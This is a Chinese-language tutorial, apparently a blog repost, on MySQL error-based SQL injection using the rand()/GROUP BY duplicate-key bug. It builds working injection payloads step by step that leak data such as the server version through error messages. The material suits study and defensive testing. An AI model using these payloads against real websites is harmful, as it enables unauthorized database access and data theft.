网站MYSQL数据库高级爆错注入原分析
这里主要用了mysql的一个BUG ：http://bugs.mysql.com/bug.php?id=8652 <br />grouping on certain parts of the result from rand, causes a duplicate key error. <br /><br />重现过程: <br /><div class="codeText">
<div class="codeHead"><span class="lantxt">SQL Code</span><span onclick="copyIdText('code_7934')" class="copyCodeText" style="CURSOR: pointer">复制内容到剪贴板</span></div>
<div id="code_7934">
<ol class="dp-sql">
<li class="alt"><span><span>use mysql; </span></span></li>
<li><span></span><span class="keyword">create</span><span> </span><span class="keyword">table</span><span> r1 (a </span><span class="keyword">int</span><span>); </span><span class="keyword">insert</span><span> </span><span class="keyword">into</span><span> r1 </span><span class="keyword">values</span><span> (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2); </span></li>
<li class="alt"><span></span><span class="keyword">select</span><span> </span><span class="func">left</span><span>(rand(),3),a </span><span class="keyword">from</span><span> r1 </span><span class="keyword">group</span><span> </span><span class="keyword">by</span><span> 1; </span></li>
<li><span></span><span class="keyword">select</span><span> </span><span class="func">left</span><span>(rand(),3),a, </span><span class="func">count</span><span>(*) </span><span class="keyword">from</span><span> r1 </span><span class="keyword">group</span><span> </span><span class="keyword">by</span><span> 1; </span></li>
<li class="alt"><span></span><span class="keyword">select</span><span> round(rand(1),1) ,a, </span><span class="func">count</span><span>(*) </span><span class="keyword">from</span><span> r1 </span><span class="keyword">group</span><span> </span><span class="keyword">by</span><span> 1; </span></li>
</ol>
</div>
</div>
<p>于是便可以这样拿来爆错注入了。<br /> <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode130"><br /> select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span><br /></div></p>
<p>尝试拿来实战 <br /> <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode131"><br /> select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);<br /></div></p>
<p>提示错误 选择的列应该为一个。那么。我们换一下</p>
<p><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode132"><br /> select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span><br /></div><br /> <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode133"><br /> 1248 (42000): Every derived table must have its own alias<br /></div></p>
<p>提示多表查询要有别名 那好办<br /> <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode134"><br /> select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);<br /></div></p>
<p>或者<br /> <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode135"><br /> select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);<br /></div></p>
<p>成功爆粗注入了.</p>
<p>作者： 小残 绳命不息 |折腾不止 </p>
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